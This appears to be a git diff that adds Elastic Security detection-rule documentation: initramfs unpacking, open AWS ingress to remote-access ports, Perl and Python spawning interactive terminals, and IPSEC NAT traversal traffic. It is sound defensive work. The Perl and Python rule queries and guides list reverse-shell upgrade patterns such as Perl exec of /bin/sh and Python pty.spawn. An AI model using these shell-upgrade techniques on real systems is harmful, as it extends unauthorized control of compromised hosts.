Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initramfs-unpacking-via-unmkinitramfs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initramfs-unpacking-via-unmkinitramfs.asciidoc new file mode 100644 index 0000000000..f395d28982 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initramfs-unpacking-via-unmkinitramfs.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-initramfs-unpacking-via-unmkinitramfs]] +=== Initramfs Unpacking via unmkinitramfs + +This rule detects the unpacking of an initramfs image using the "unmkinitramfs" command on Linux systems. The "unmkinitramfs" command is used to extract the contents of an initramfs image, which is used to boot the system. Attackers may use "unmkinitramfs" to unpack an initramfs image and modify its contents to include malicious code or backdoors, allowing them to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initramfs Unpacking via unmkinitramfs* + + +Initramfs is a crucial component in Linux boot processes, containing essential drivers and scripts. The `unmkinitramfs` tool extracts its contents, which attackers might exploit to insert malicious code, ensuring persistence. The detection rule identifies the execution of `unmkinitramfs`, flagging potential unauthorized modifications by monitoring process initiation events on Linux systems. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the unmkinitramfs command, focusing on the process.name field to ensure it matches "unmkinitramfs". +- Check the user context under which the unmkinitramfs command was executed to determine if it aligns with expected administrative activities or if it was run by an unauthorized user. +- Investigate the parent process of the unmkinitramfs execution to understand how the command was initiated and if it was part of a legitimate script or an unexpected process chain. +- Examine recent system logs and audit logs for any other suspicious activities or anomalies around the time of the unmkinitramfs execution, such as unauthorized access attempts or changes to critical system files. +- Assess the integrity of the initramfs image by comparing it with a known good version, if available, to identify any unauthorized modifications or inclusions of malicious code. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger the rule when legitimate processes unpack initramfs for kernel updates. Users can create exceptions for known maintenance scripts or processes that regularly perform these actions. +- Automated backup or recovery solutions might use unmkinitramfs to verify or restore system images. Identify and exclude these processes if they are part of trusted backup operations. +- Developers or system administrators testing or customizing initramfs images for legitimate purposes could trigger the rule. Establish a whitelist for specific user accounts or scripts that are authorized to perform these tasks. +- Security tools or monitoring solutions that analyze initramfs contents for integrity checks might inadvertently trigger the rule. Ensure these tools are recognized and excluded from detection to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the attacker. +- Terminate any suspicious processes related to `unmkinitramfs` to halt any ongoing malicious activity. +- Conduct a thorough review of the initramfs image and its contents to identify and remove any unauthorized modifications or malicious code. +- Restore the initramfs image from a known good backup to ensure system integrity and remove any potential backdoors. +- Monitor the system for any further attempts to execute `unmkinitramfs` and investigate any such occurrences to determine if they are legitimate or part of an ongoing attack. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement additional logging and monitoring for process execution events on Linux systems to enhance detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and +process.name == "unmkinitramfs" and not ( + ?process.parent.executable == "/usr/bin/lsinitramfs" or + ?process.working_directory == "/usr/local/nutanix/ngt/python/bin" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Sub-technique: +** Name: Bootkit +** ID: T1542.003 +** Reference URL: https://attack.mitre.org/techniques/T1542/003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Sub-technique: +** Name: Bootkit +** ID: T1542.003 +** Reference URL: https://attack.mitre.org/techniques/T1542/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc new file mode 100644 index 0000000000..9e737cbe1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-insecure-aws-ec2-vpc-security-group-ingress-rule-added]] +=== Insecure AWS EC2 VPC Security Group Ingress Rule Added + +Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupEgress.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AuthorizeSecurityGroupIngress.html +* https://www.linkedin.com/pulse/my-backdoors-your-aws-infrastructure-part-3-network-micha%C5%82-brygidyn/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Insecure AWS EC2 VPC Security Group Ingress Rule Added* + + +This rule detects the addition of ingress rules to a VPC security group that allow traffic from any IP address (`0.0.0.0/0` or `::/0`) to sensitive ports commonly used for remote access, such as SSH (port 22) and RDP (port 3389). This configuration change can significantly increase the exposure of EC2 instances to potential threats, making it crucial to understand the context and legitimacy of such changes. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Investigate whether this actor has the necessary permissions and typically performs these actions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand exactly what changes were made to the security group. Check for any unusual parameters that could suggest a misconfiguration or malicious intent. +- **Analyze the Source of the Request**: Look at the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unusual location could indicate compromised credentials. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications outside of typical business hours might warrant additional scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor engaged in other potentially suspicious activities. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Verify if the ingress rule change aligns with scheduled updates, maintenance activities, or legitimate administrative tasks documented in change management tickets or systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. Consistency with past legitimate actions might indicate a false alarm. +- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended as per policy. + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, revert the security group rules to their previous state to close any unintended access. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar security group changes, especially those that open access to well-known ports from any IP address. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning security group management. +- **Audit Security Groups and Policies**: Conduct a comprehensive audit of all security groups and associated policies to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing security group rules and securing AWS environments, refer to the https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html[Amazon VPC Security Groups documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: ec2.amazonaws.com + and event.action: AuthorizeSecurityGroupIngress + and event.outcome: success + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.ipRanges.items.cidrIp: ("0.0.0.0/0" or "::/0") + and aws.cloudtrail.flattened.request_parameters.ipPermissions.items.fromPort: ( + 21 or 22 or 23 or 445 or 3389 or 5985 or 5986) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-perl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-perl.asciidoc new file mode 100644 index 0000000000..8d325d8c95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-perl.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-interactive-terminal-spawned-via-perl]] +=== Interactive Terminal Spawned via Perl + +Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Interactive Terminal Spawned via Perl* + + +Perl, a versatile scripting language, can execute system commands, making it a target for adversaries seeking to escalate privileges or maintain persistence. Attackers may exploit Perl to spawn interactive terminals, transforming basic shells into robust command interfaces. The detection rule identifies such activity by monitoring process events on Linux systems, specifically when Perl executes shell commands, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process event logs to confirm the presence of a Perl process with arguments indicating the execution of a shell, such as "exec \"/bin/sh\";", "exec \"/bin/dash\";", or "exec \"/bin/bash\";". +- Identify the user account associated with the Perl process to determine if it aligns with expected activity or if it suggests unauthorized access. +- Examine the parent process of the Perl execution to understand how the Perl script was initiated and assess if it correlates with legitimate user activity or a potential compromise. +- Check for any network connections or data transfers initiated by the Perl process to identify possible exfiltration or communication with external command and control servers. +- Investigate any recent changes to user accounts, permissions, or scheduled tasks that might indicate privilege escalation or persistence mechanisms associated with the Perl activity. +- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise that could suggest a broader attack campaign. + + +*False positive analysis* + + +- System maintenance scripts that use Perl to execute shell commands may trigger this rule. Review and whitelist known maintenance scripts by adding exceptions for specific script paths or process arguments. +- Automated deployment tools that utilize Perl for executing shell commands can cause false positives. Identify these tools and exclude their specific process arguments or execution paths from the detection rule. +- Development environments where Perl is used for testing or debugging purposes might inadvertently spawn interactive terminals. Consider excluding processes initiated by known development user accounts or within specific development directories. +- Backup or monitoring scripts that rely on Perl to perform system checks or data collection could be flagged. Analyze these scripts and create exceptions based on their unique process arguments or execution context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Perl processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and process history to identify any additional indicators of compromise or related malicious activity. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack. +- Restore the affected system from a known good backup to ensure any malicious changes are removed. +- Implement additional monitoring on the affected host and network to detect any further attempts to exploit Perl for spawning interactive terminals. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "perl" and process.args == "exec" and +process.args in ( + "\"sh\";", "\"dash\";", "\"bash\";", "\"zsh\";", + "\"/bin/sh\";", "\"/bin/dash\";", "\"/bin/bash\";", "\"/bin/zsh\";", + "\"/usr/bin/sh\";", "\"/usr/bin/dash\";", "\"/usr/bin/bash\";", "\"/usr/bin/zsh\";", + "\"/usr/local/bin/sh\";", "\"/usr/local/bin/dash\";", "\"/usr/local/bin/bash\";", "\"/usr/local/bin/zsh\";" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-python.asciidoc new file mode 100644 index 0000000000..210693530f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-interactive-terminal-spawned-via-python.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-interactive-terminal-spawned-via-python]] +=== Interactive Terminal Spawned via Python + +Identifies when a terminal (tty) is spawned via Python. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Interactive Terminal Spawned via Python* + + +Python's ability to spawn interactive terminals is a powerful feature often used for legitimate administrative tasks. However, adversaries can exploit this to escalate a basic reverse shell into a fully interactive terminal, enhancing their control over a compromised system. The detection rule identifies such abuse by monitoring processes where Python spawns a shell, focusing on specific patterns in process arguments and parent-child process relationships, indicating potential malicious activity. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process named "python*" and the child process that is a shell (e.g., bash, sh, zsh). +- Examine the command-line arguments of the parent Python process to identify the use of "pty.spawn" and the presence of the "-c" flag, which may indicate an attempt to spawn an interactive terminal. +- Check the process start event details, including the timestamp and user context, to determine if the activity aligns with expected administrative tasks or if it appears suspicious. +- Investigate the source IP address and user account associated with the process to assess if they are known and authorized entities within the network. +- Look for any related alerts or logs that might indicate prior suspicious activity, such as initial access vectors or other execution attempts, to build a timeline of events. +- Correlate this activity with any recent changes or incidents reported on the host to determine if this is part of a larger attack or an isolated event. + + +*False positive analysis* + + +- Administrative scripts or automation tools that use Python to manage system processes may trigger this rule. To handle this, identify and whitelist specific scripts or tools that are known to perform legitimate tasks. +- Developers or system administrators using Python for interactive debugging or system management might inadvertently match the rule's criteria. Consider excluding processes initiated by trusted user accounts or within specific directories associated with development or administration. +- Scheduled tasks or cron jobs that utilize Python to execute shell commands could be mistaken for malicious activity. Review and exclude these tasks by specifying their unique process arguments or parent-child process relationships. +- Security tools or monitoring solutions that leverage Python for executing shell commands as part of their normal operation may also trigger this rule. Identify these tools and create exceptions based on their process signatures or execution context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Python processes identified in the alert, especially those spawning shell processes, to disrupt the attacker's control. +- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts, scheduled tasks, or modified system files. +- Reset credentials for any accounts accessed from the compromised host to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Enhance monitoring and logging on the affected host and network to detect any similar activities in the future, focusing on process creation and network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +( + (process.parent.name : "python*" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", + "fish") and process.parent.args_count >= 3 and process.parent.args : "*pty.spawn*" and process.parent.args : "-c") or + (process.parent.name : "python*" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.args in ( + "sh", "dash", "bash", "zsh", + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh" + ) and process.args_count == 1 and process.parent.args_count == 1 + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipsec-nat-traversal-port-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipsec-nat-traversal-port-activity.asciidoc new file mode 100644 index 0000000000..7d34cc013c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipsec-nat-traversal-port-activity.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-20-ipsec-nat-traversal-port-activity]] +=== IPSEC NAT Traversal Port Activity + +This rule detects events that could be describing IPSEC NAT Traversal traffic. IPSEC is a VPN technology that allows one system to talk to another using encrypted tunnels. NAT Traversal enables these tunnels to communicate over the Internet where one of the sides is behind a NAT router gateway. This may be common on your network, but this technique is also used by threat actors to avoid detection. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Tactic: Command and Control +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPSEC NAT Traversal Port Activity* + + +IPSEC NAT Traversal facilitates secure VPN communication across NAT devices by encapsulating IPSEC packets in UDP, typically using port 4500. While essential for legitimate encrypted traffic, adversaries exploit this to mask malicious activities, bypassing network defenses. The detection rule identifies unusual UDP traffic on port 4500, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the source and destination IP addresses associated with the UDP traffic on port 4500 to determine if they are known or expected within your network environment. +- Analyze the volume and frequency of the detected traffic to assess whether it aligns with typical IPSEC NAT Traversal usage or if it appears anomalous. +- Check for any associated network traffic events in the same timeframe that might indicate a pattern of suspicious activity, such as unusual data transfer volumes or connections to known malicious IP addresses. +- Investigate the endpoint or device generating the traffic to verify if it is authorized to use IPSEC NAT Traversal and if it has any history of security incidents or vulnerabilities. +- Correlate the detected activity with any recent changes in network configurations or security policies that might explain the traffic pattern. +- Consult threat intelligence sources to determine if the destination IP address or domain has been associated with known threat actors or command and control infrastructure. + + +*False positive analysis* + + +- Legitimate VPN traffic using IPSEC NAT Traversal can trigger alerts. Regularly review and whitelist known IP addresses or subnets associated with authorized VPN connections to reduce false positives. +- Network devices or services that rely on IPSEC for secure communication may generate expected traffic on port 4500. Identify and document these devices, then create exceptions in the detection rule to prevent unnecessary alerts. +- Automated 